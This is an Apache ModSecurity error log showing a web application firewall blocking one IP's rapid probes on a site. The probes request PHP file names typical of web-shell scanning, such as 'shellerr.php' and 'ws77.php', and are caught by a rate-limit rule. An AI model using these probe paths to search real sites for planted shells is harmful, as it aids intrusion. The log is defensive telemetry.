[Mon Mar 23 20:59:55.055762 2026] [:error] [pid 38178:tid 38265] [client 20.215.241.7:6727] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acE5Sw0axWfXsVvR9uc8kAAAAJc"]
[Mon Mar 23 20:59:55.623337 2026] [:error] [pid 38276:tid 38294] [client 20.215.241.7:49841] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acE5S5oKGiI-a7oME3LwBwAAAM8"]
[Mon Mar 23 20:59:56.258450 2026] [:error] [pid 38176:tid 38195] [client 20.215.241.7:6167] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acE5TEtG4qlh1gvNjuIxuAAAAAg"]
[Mon Mar 23 20:59:57.086095 2026] [:error] [pid 38276:tid 38287] [client 20.215.241.7:49829] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acE5TZoKGiI-a7oME3LwCgAAAMg"]
[Mon Mar 23 20:59:57.651609 2026] [:error] [pid 38178:tid 38250] [client 20.215.241.7:6192] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acE5TQ0axWfXsVvR9uc8lAAAAIg"]
[Mon Mar 23 20:59:58.199949 2026] [:error] [pid 38276:tid 38300] [client 20.215.241.7:6764] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acE5TpoKGiI-a7oME3LwDQAAANU"]
[Mon Mar 23 20:59:58.812298 2026] [:error] [pid 38306:tid 38310] [client 20.215.241.7:43750] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acE5TjkL8qwu-hHc6BiQzAAAAQI"]
[Mon Mar 23 20:59:59.419480 2026] [:error] [pid 38177:tid 38237] [client 20.215.241.7:44765] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acE5T3sYW-_HCI66MuntZAAAAFY"]
[Mon Mar 23 20:59:59.994167 2026] [:error] [pid 38306:tid 38332] [client 20.215.241.7:43733] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acE5TzkL8qwu-hHc6BiQ0gAAARg"]
[Mon Mar 23 21:00:01.117665 2026] [:error] [pid 38177:tid 38226] [client 20.215.241.7:6258] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acE5UXsYW-_HCI66MuntawAAAEs"]
[Mon Mar 23 21:00:01.643861 2026] [:error] [pid 38177:tid 38229] [client 20.215.241.7:6771] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acE5UXsYW-_HCI66MuntbgAAAE4"]
[Mon Mar 23 21:00:03.122054 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:6746] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acE5Uw0axWfXsVvR9uc8lwAAAJE"]
[Mon Mar 23 21:00:03.708902 2026] [:error] [pid 38276:tid 38279] [client 20.215.241.7:44190] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acE5U5oKGiI-a7oME3LwFwAAAMA"]
[Mon Mar 23 21:00:04.310397 2026] [:error] [pid 38306:tid 38311] [client 20.215.241.7:7141] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acE5VDkL8qwu-hHc6BiQ5gAAAQM"]
[Mon Mar 23 21:00:04.865466 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:43769] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acE5VDkL8qwu-hHc6BiQ6gAAAQ0"]
[Mon Mar 23 21:00:05.490665 2026] [:error] [pid 38177:tid 38218] [client 20.215.241.7:6485] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acE5VXsYW-_HCI66MuntcQAAAEM"]
[Mon Mar 23 21:00:06.107088 2026] [:error] [pid 38276:tid 38287] [client 20.215.241.7:7000] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acE5VpoKGiI-a7oME3LwGwAAAMg"]
[Mon Mar 23 21:00:06.685049 2026] [:error] [pid 38276:tid 38283] [client 20.215.241.7:54645] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acE5VpoKGiI-a7oME3LwHQAAAMQ"]
[Mon Mar 23 21:00:07.438452 2026] [:error] [pid 38177:tid 38228] [client 20.215.241.7:6733] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acE5V3sYW-_HCI66MunteQAAAE0"]
[Mon Mar 23 21:00:08.154949 2026] [:error] [pid 38176:tid 38198] [client 20.215.241.7:6772] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acE5WEtG4qlh1gvNjuIxzgAAAAs"]
[Mon Mar 23 21:00:08.686543 2026] [:error] [pid 38306:tid 38328] [client 20.215.241.7:6568] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acE5WDkL8qwu-hHc6BiQ7wAAARQ"]
[Mon Mar 23 21:00:09.244281 2026] [:error] [pid 38306:tid 38311] [client 20.215.241.7:54601] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "acE5WTkL8qwu-hHc6BiQ8wAAAQM"]
[Mon Mar 23 21:00:10.412981 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:6793] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "acE5WpoKGiI-a7oME3LwIgAAAMs"]
[Mon Mar 23 21:00:11.003253 2026] [:error] [pid 38306:tid 38327] [client 20.215.241.7:44173] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "acE5WzkL8qwu-hHc6BiQ9gAAARM"]
[Mon Mar 23 21:00:11.515800 2026] [:error] [pid 38306:tid 38322] [client 20.215.241.7:7084] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "acE5WzkL8qwu-hHc6BiQ-AAAAQ4"]
[Mon Mar 23 21:00:12.261975 2026] [:error] [pid 38177:tid 38239] [client 20.215.241.7:6479] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acE5XHsYW-_HCI66MunthgAAAFg"]
[Mon Mar 23 21:00:12.809427 2026] [:error] [pid 38176:tid 38203] [client 20.215.241.7:6179] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acE5XEtG4qlh1gvNjuIx4AAAABA"]
[Mon Mar 23 21:00:13.377818 2026] [:error] [pid 38176:tid 38191] [client 20.215.241.7:6144] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acE5XUtG4qlh1gvNjuIx5AAAAAQ"]
[Mon Mar 23 21:00:13.910527 2026] [:error] [pid 38306:tid 38320] [client 20.215.241.7:49832] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acE5XTkL8qwu-hHc6BiRAAAAAQw"]
[Mon Mar 23 21:00:14.751859 2026] [:error] [pid 38178:tid 38246] [client 20.215.241.7:6181] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acE5Xg0axWfXsVvR9uc8nwAAAIQ"]
[Mon Mar 23 21:00:15.372506 2026] [:error] [pid 38306:tid 38332] [client 20.215.241.7:43771] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acE5XzkL8qwu-hHc6BiRAwAAARg"]
[Mon Mar 23 21:00:15.923943 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:7126] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acE5XzkL8qwu-hHc6BiRBAAAAQQ"]
[Mon Mar 23 21:00:16.435456 2026] [:error] [pid 38276:tid 38279] [client 20.215.241.7:7038] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acE5YJoKGiI-a7oME3LwKAAAAMA"]
[Mon Mar 23 21:00:17.005161 2026] [:error] [pid 38306:tid 38322] [client 20.215.241.7:43747] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acE5YTkL8qwu-hHc6BiRCAAAAQ4"]
[Mon Mar 23 21:00:17.538647 2026] [:error] [pid 38177:tid 38226] [client 20.215.241.7:6982] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acE5YXsYW-_HCI66MuntiQAAAEs"]
[Mon Mar 23 21:00:18.187070 2026] [:error] [pid 38306:tid 38315] [client 20.215.241.7:44167] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acE5YjkL8qwu-hHc6BiRCgAAAQc"]
[Mon Mar 23 21:00:18.791546 2026] [:error] [pid 38276:tid 38292] [client 20.215.241.7:6553] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acE5YpoKGiI-a7oME3LwMQAAAM0"]
[Mon Mar 23 21:00:19.372099 2026] [:error] [pid 38177:tid 38230] [client 20.215.241.7:49806] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acE5Y3sYW-_HCI66MuntjgAAAE8"]
[Mon Mar 23 21:00:19.958645 2026] [:error] [pid 38178:tid 38255] [client 20.215.241.7:43743] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acE5Yw0axWfXsVvR9uc8swAAAI0"]
[Mon Mar 23 21:00:20.622213 2026] [:error] [pid 38306:tid 38331] [client 20.215.241.7:6178] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acE5ZDkL8qwu-hHc6BiRDwAAARc"]
[Mon Mar 23 21:00:21.311533 2026] [:error] [pid 38176:tid 38199] [client 20.215.241.7:6981] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acE5ZUtG4qlh1gvNjuIx-wAAAAw"]
[Mon Mar 23 21:00:21.835067 2026] [:error] [pid 38177:tid 38218] [client 20.215.241.7:43738] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acE5ZXsYW-_HCI66MuntkgAAAEM"]
[Mon Mar 23 21:00:22.408874 2026] [:error] [pid 38177:tid 38237] [client 20.215.241.7:6724] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acE5ZnsYW-_HCI66MuntkwAAAFY"]
[Mon Mar 23 21:00:23.004800 2026] [:error] [pid 38178:tid 38259] [client 20.215.241.7:6545] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acE5Zw0axWfXsVvR9uc8uAAAAJE"]
[Mon Mar 23 21:00:23.601736 2026] [:error] [pid 38276:tid 38294] [client 20.215.241.7:6152] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acE5Z5oKGiI-a7oME3LwOAAAAM8"]
[Mon Mar 23 21:00:24.152805 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:7002] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acE5aDkL8qwu-hHc6BiRFgAAAQQ"]
[Mon Mar 23 21:00:24.676217 2026] [:error] [pid 38176:tid 38190] [client 20.215.241.7:6741] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acE5aEtG4qlh1gvNjuIyBgAAAAM"]
[Mon Mar 23 21:00:25.189676 2026] [:error] [pid 38177:tid 38232] [client 20.215.241.7:54642] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acE5aXsYW-_HCI66MuntmQAAAFE"]
[Mon Mar 23 21:00:25.788587 2026] [:error] [pid 38306:tid 38329] [client 20.215.241.7:6217] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acE5aTkL8qwu-hHc6BiRHAAAARU"]
[Mon Mar 23 21:00:26.305823 2026] [:error] [pid 38177:tid 38225] [client 20.215.241.7:6749] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acE5ansYW-_HCI66MuntnQAAAEo"]
[Mon Mar 23 21:00:26.904513 2026] [:error] [pid 38176:tid 38202] [client 20.215.241.7:44165] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acE5aktG4qlh1gvNjuIyCgAAAA8"]
[Mon Mar 23 21:00:27.464106 2026] [:error] [pid 38177:tid 38217] [client 20.215.241.7:6980] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acE5a3sYW-_HCI66MuntpAAAAEI"]
[Mon Mar 23 21:00:28.032863 2026] [:error] [pid 38176:tid 38205] [client 20.215.241.7:6480] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acE5bEtG4qlh1gvNjuIyDwAAABI"]
[Mon Mar 23 21:00:28.555065 2026] [:error] [pid 38176:tid 38207] [client 20.215.241.7:54596] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acE5bEtG4qlh1gvNjuIyEQAAABQ"]
[Mon Mar 23 21:00:29.132672 2026] [:error] [pid 38276:tid 38287] [client 20.215.241.7:7021] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acE5bZoKGiI-a7oME3LwOwAAAMg"]
[Mon Mar 23 21:00:29.745473 2026] [:error] [pid 38276:tid 38300] [client 20.215.241.7:6999] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acE5bZoKGiI-a7oME3LwPQAAANU"]
